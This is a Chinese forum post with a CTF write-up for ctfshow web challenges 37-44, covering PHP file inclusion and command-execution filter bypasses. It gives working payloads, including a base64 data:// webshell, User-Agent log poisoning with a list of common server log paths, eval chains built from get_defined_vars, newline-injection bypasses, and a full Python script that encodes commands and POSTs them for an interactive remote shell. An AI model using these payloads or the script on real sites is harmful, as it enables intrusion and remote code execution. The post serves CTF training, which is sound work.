ctfshow web入门37-44

君叹   ·   发表于 2023-09-01 15:58:54   ·   CTF&WP专版

引言

继续来一点命令执行绕过的姿势

web37

 <?php

/*
# -*- coding: utf-8 -*-
# <span class="label label-primary">@Author</span>: h1xa
# <span>@Date</span>:   2020-09-04 00:12:34
# <span>@Last</span> Modified by:   h1xa
# <span>@Last</span> Modified time: 2020-09-04 05:18:55
# <span>@email</span>: h1xa<span>@ctfer.com#CTL{n}#</span> <span>@link</span>: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;

    }
}else{
    highlight_file(__FILE__);
}

这里和前面有点不一样,这里是用include函数。
include函数我们都知道这是一个文件包含的函数
显然,对于一道ctf题目而言我们要读取flag
那我们有没有什么办法能够利用include函数来获得webshell?
答案当然是有的
这里先提供两种方法

伪协议

php://input
data://text
这里分别展示一下两种方法的用法
php://input

data://text

看过我以前文章的人应该都知道我比较喜欢追究细节
诸如为什么这样能执行php代码,为什么那样不行这些左了右了的问题。

像是这两个东西的原理虽然简单,但是也还是想提一嘴

我们先来看一下 include 函数的作用
来看下文心一言的回答

在PHP中,include函数的作用是将另一个文件的内容包含在当前的PHP文件中。它允许在执行当前文件时插入另一个文件的内容,并将其作为当前文件的一部分进行执行。

通过使用include函数,可以将一些常用的代码片段、模块或库文件引入到当前的PHP文件中。这样做的好处是可以避免重复的代码,提高代码的可重用性和可维护性。

include函数接受一个参数,即要包含的文件名或路径。可以是一个相对路径或绝对路径,也可以是一个包含文件名的字符串表达式。当include函数被调用时,PHP会尝试打开指定的文件,并将其内容读入到当前文件中。

需要注意的是,include函数只是将文件的内容插入到当前文件中,而不会将包含文件中的变量或函数引入到当前文件中。这意味着在包含文件中定义的变量或函数在包含后不会在当前的PHP文件中可用。如果需要在当前文件中使用包含文件中的变量或函数,需要在包含之前声明它们。

此外,include函数还可以用于引入外部的PHP文件,以实现模块化开发或代码复用。通过将功能或逻辑封装到单独的文件中,并在需要时使用include函数引入,可以更好地组织和管理代码。

需要注意的是,如果包含的文件不存在或包含文件时发生错误,PHP会发出警告,并继续执行当前文件的代码。此外,在处理包含文件时,可以使用其他类似的函数,如include_once、require和require_once,它们具有相似的功能和用法,但具有不同的行为和用途。

简单来说就是,把另一个文件的内容放到这个文件里面来
如果另一个文件中有php标记
就是
<?php ?> 这样的东西
里面的内容也会被当做php代码解析

那么 php://input 是什么呢
php://input 是 POST 原始数据
就是post内容输入了什么
php://input 得到的就是什么
感兴趣的朋友可以自己试试这段代码

<?php
echo file_get_contents("php://input");
?>

意思是读取文件(这里相当于是读取post数据)然后输出
这里post长啥样,输出的内容就长什么样
所以说在使用php://input伪协议进行文件包含的时候
如果我们post数据中是php代码
php代码就会被执行

data伪协议的话
data://text/plain,标记
标记处的内容会被当做文本
比如

<?php
    echo file_get_contents("data://text/plain,abc");
?>

尝试一下这段代码
运行结果就是把abc给输出了
可能这时候有的人会感觉,那这玩意,多少有点废
跟没有不一样么
但是data伪协议的作用不止于此
我们还可以对进行base64等编码解码的操作
感兴趣的朋友可以自己去了解一下
这里再说一个跟安全相关的应用
但payload中过滤了尖括号,和php等字符的时候
我们是不是就没办法用data伪协议去获取webshell了?
并不
就用刚刚提到过的base64解码的方式
先将我们的一句话木马进行base64编码
这里注意,编码后的内容最好不要有 + 号,因为+在url中会被解析成空格
有的话把加号替换成对应的url编码也可以


上图可能有的朋友会发现,把我那句payload进行base64编码好像最后是个+号,跟我输出的不一样
因为我这里在分号后面加了个空格,变相的把加号替换掉了
然后构造我们的payload
?c=data://text/plain;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbN10pOyA/Pg==&amp;7=phpinfo();

效果如图


日志包含

如上面的标题所示,这就是第二种利用include函数获得webshell的方法了,网站的日志一般会记录我们访问的UA头,如果我们向UA头中写入webshell
对网站发起一次请求,然后再去包含日志文件,同样也可以获得webshell

这里的话放出一些常见的默认日志文件的路径

/var/log/apache/access.log
/var/log/apache/error.log
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log
/usr/local/apache2/logs/access.log
/usr/local/apache2/logs/error.log
/var/www/logs/error.log
/var/www/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error_log

而题目所用的环境是nginx
日志路径为
/var/log/nginx/access.log

使用burp抓包,将UA头改为我们的webshell

GET / HTTP/1.1
Host: 401bce8c-8472-41cf-8cfc-eb5003419c46.challenge.ctf.show
User-Agent: <?php eval($_REQUEST[7]);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close

然后发包

构造payload
?c=/var/log/nginx/access.log&amp;7=phpinfo();

用这种方式读flag的话会有一个小弊端

这里因为日志文件内容比较少
能一眼看到flag
但如果日志内容多的话
看起来就眼花缭乱的
解决方法有三个
1 ctrl+f搜flag
但是我们在实际渗透中不可能是要看一个flag的
2 7=echo "<br><br>";system('ls');echo "<br><br>";
这样看起来就清晰了
3 用这个日志马再写一个木马出来
第三种方法也是最建议的一种

web38

同上

web39

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
}else{
    highlight_file(__FILE__);
}

这里将$c最后拼接了.php
也就是限制了我们只能包含php文件
有什么办法绕过吗
当然有
继续用data伪协议
构造payload
?c=data://text/plain,<?php echo 123;?>
查看效果

输出内容是 123.php
这里 $c 是data伪协议
解析过后,include最后包含的内容就是
<?php echo 123;?>.php
我们在写一个php脚本的时候
我们可以观察到在php标签外的内容会被当做html解析
html中没有被标签包裹的又会被直接当作文本解析
这里最后的.php就是被当作文本解析了

可以尝试如下代码加深理解

这是文本
<?php
echo 123;
?>
这还是文本,
也是文本<br>
换个行的文本

最后读取flag的payload
?c=data://text/plain,<?php system('tac f*');?>

web40

先放代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&amp;|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

这里过滤了数字,符号,括号等,但是我们仔细观察可以发现,过滤的括号是中文符号,也就是我们还可以执行php函数

本题的payload是
show_source(next(array_reverse(scandir(pos(localeconv())))));
我第一次看到这个东西的时候是很懵逼的
这里对函数从内到外进行一个解析

通过最里面的 pos(localeconv()) 可以得到字符 点
scandir() 函数,获取指定路径下的文件列表
组合起来就是
scandir(“.”)
.我们知道,在操作系统中代表当前路径的意思
这里的意思就是获取当前路径下的所有文件名
看一下效果

<?php
    var_dump(scandir('./'));
?>

array_revers() 将一个列表反转
next() 将指针指向下一个元素,返回当前元素
指针默认肯定是指向第一个元素的,也就是下标为0的元素
我们使用array_revers()将列表反转
原本在最后位置的函数现在到了第一个
然后用next()函数将其返回
也就是最后进入show_source()函数的就是元素”flag.php”
show_source函数的作用是将这个文件的内容高亮显示
我们就可以得到flag了

那么这时候就有小伙伴想问了
如果只是这样的话
那我岂不是只能读取最后一个文件的内容了吗?
首先,在实际渗透测试中,能够展示一个php程序的源代码本身就是一个小突破点。
其次,php的函数也不于此

下面介绍几个可以在这种情况下获取webshell的函数

get_defined_vars() 返回一个包含所有已定义变量列表的多维数组,包括环境变量,服务器变量,用户自定义的变量这些
array_pop() 删除最后一个元素,并返回这个元素
这个函数怎么理解呢
例:

$a = ['a','b','c'];
$b = array_pop($a);

做了这两个操作之后
$a 为 [‘a’,’b’]
$b 为 ‘c’

看我们如下的payload
?c=eval(array_pop(next(get_defined_vars())));
POST: cmd=phpinfo();
用 get_defined_vars() 函数获取了所有变量组成的多维数组
用next()获取第一个元素(也就是第一个数组)
再通过array_pop()函数,获取这个数组的最后一个元素
最后传入eval函数执行

这里具体next()和array_pop()具体获取到的是什么就由大家自己测试了
毕竟眼过千遍不如自己手测一遍。

web41

这题就有点意思了
先看代码

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date:   2020-09-05 20:31:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show

*/

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&amp;|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

这题根据提示是要写一个异或脚本进行构造
题目没有过滤 “|” 管道符

这里先来看下管道符在php中能产生什么小作用
测试代码如下

<?php
    echo ('a'|'b');
?>

效果

得到了字符c

这其中的原理
看下图

字符a的ascii码是97,b是98
97和98进行或操作,得到99
这个或操作这里简单介绍一下
我们拿两个小一点的数字举例子
2和9
2的2进制是 10
9是 1001
从右往左
依次进行或操作
这里为了容易理解做一个补齐操作
2: 0010
9: 1001
2最后一位是0,9最后一位是1
或操作就是两个数字有1最后得到的就是1,没1为0
那这里有1
得到的数字最后一位是1
倒数第二个,2那里是1,也是1
倒数第三位,都是0,最后得到的结果还是0
倒数第四位也就是第一位,9那里是1,有1则1
所以最后得到的二进制数字是:1011
在python交互式界面进行一下验证

结果跟我们手扣出来的一样

我们继续尝试如下代码

<?php
    echo ('ac'|'bd')
?>

查看最后的效果

两个字符串中,第一个字符和第一个字符或运算
第二个字符和第二个字符进行了或运算

这是我们做这道题要利用到的第一个特性
第二个特性是(system)(ls)这样子的代码执行方式
但是php版本要大于7
示例代码如下:

<?php
    echo (system)(dir);
?>

这里要特别注意php版本大于7才可以

效果如下

利用上面两个特性
假设我们想执行命令 ls
$c是我们可以控制的东西
也就是echo([可控])
就是echo括号里面的内容
我们可以做如下拼接
?c=(字符串1|字符串2)(字符串3|字符串4)
字符串1和字符串2异或得到 system
字符串3和字符串4异或得到ls
这就是我们最后要达到的效果

并且我们的字符串1,2,3,4中不能包含被这个正则表达式过滤掉的内容

构造我们的第一个函数

import re

reg = re.compile("[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&amp;|\-", re.I)

def getchar(char):
    for i in range(0,255):
        for j in range(0,255):
            if reg.search(chr(i)) is None and reg.search(chr(j)) is None:
                if i | j == ord(char):
                    return chr(i),chr(j)


对函数进行一些解释
导入了re正则表达式模块
创建了正则表达式对象
参数里的re.I指的是不区分大小写
然后我们定义了一个 getchar() 函数
函数接受一个参数字符串
双嵌套0,255
这里循环0,255的意义在于循环ascii码表
如果这两个字符不属于被过滤的内容
并且他们异或之后可以得到我们想要的字符的ascii码
那么就直接返回这两个字符
这里的话要注意
python中不支持两个字符进行异或的操作
只能先用ascii码进行异或再变更了

然后就是获得shell的部分
这里我们可以做一个交互式
代码如下

import requests
def to_payload(p1, p2):
    str1 = ''
    str2 = ''
    str3 = ''
    str4 = ''
    for i in p1:
        tmp1, tmp2 = getchar(i)
        str1 += tmp1
        str2 += tmp2
    for i in p2:
        tmp1, tmp2 = getchar(i)
        str3 += tmp1
        str4 += tmp2
    return f'("{str1}"|"{str2}")("{str3}"|"{str4}")'


if __name__ == '__main__':
    url = input("[*] url: ")
    while True:
        p1 = input("[*] 函数名: ")
        p2 = input("[*] 参数: ")
        payload = to_payload(p1, p2)
        res = requests.post(url, data={"c": payload})
        print(res.text)

完整代码在下面,这里先解读一下这段代码
其中to_payload函数接受两个参数
分别是我们的函数名和参数内容
定义了四个空字符串
str1和str2构成异或成为函数名的字符串
str3和str4构成异或成为参数的字符串
再按照php的解析规则返回

然后就是接受 url
循环获取函数名和参数进行请求
达到一个动态shell的效果
效果如下:

完整代码如下:

import re
import requests

reg = re.compile("[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&amp;|\-", re.I)


def getchar(char):
    for i in range(0, 255):
        for j in range(0, 255):
            if reg.search(chr(i)) is None and reg.search(chr(j)) is None:
                if i | j == ord(char):
                    return chr(i), chr(j)


def to_payload(p1, p2):
    str1 = ''
    str2 = ''
    str3 = ''
    str4 = ''
    for i in p1:
        tmp1, tmp2 = getchar(i)
        str1 += tmp1
        str2 += tmp2
    for i in p2:
        tmp1, tmp2 = getchar(i)
        str3 += tmp1
        str4 += tmp2
    return f'("{str1}"|"{str2}")("{str3}"|"{str4}")'


if __name__ == '__main__':
    url = input("[*] url: ")
    while True:
        p1 = input("[*] 函数名: ")
        p2 = input("[*] 参数: ")
        payload = to_payload(p1, p2)
        res = requests.post(url, data={"c": payload})
        print(res.text)

这里再放一个以前刚学会这道题的时候写的文章链接
https://bbs.zkaq.cn/t/30509.html
感觉代码逻辑写的好复杂,没刚刚写的这个清晰

web42

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2&gt;&amp;1");
}else{
    highlight_file(__FILE__);
}

这里后面拼接了一个 >/dev/null 2>&1
这个的作用是前面的命令不进行回显

这里就需要想办法绕过一下了
payload
?c=tac f*%0a
%0a换行绕过

web43

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2&gt;&amp;1");
    }
}else{
    highlight_file(__FILE__);
}

这里把cat 过滤了
payload同上

web44

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2&gt;&amp;1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了字符flag,但是并没有过滤其中的单个字符
payload同上

用户名金币积分时间理由
Track-魔方 300.00 0 2023-09-07 11:11:00 深度 200 普适 100 期待同学有更多实战相关文章~

打赏我,让我更有动力~

1 条回复   |  直到 7个月前 | 205 次浏览

Track-魔方
发表于 7个月前

需要修改下文章的格式,提高可读性

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.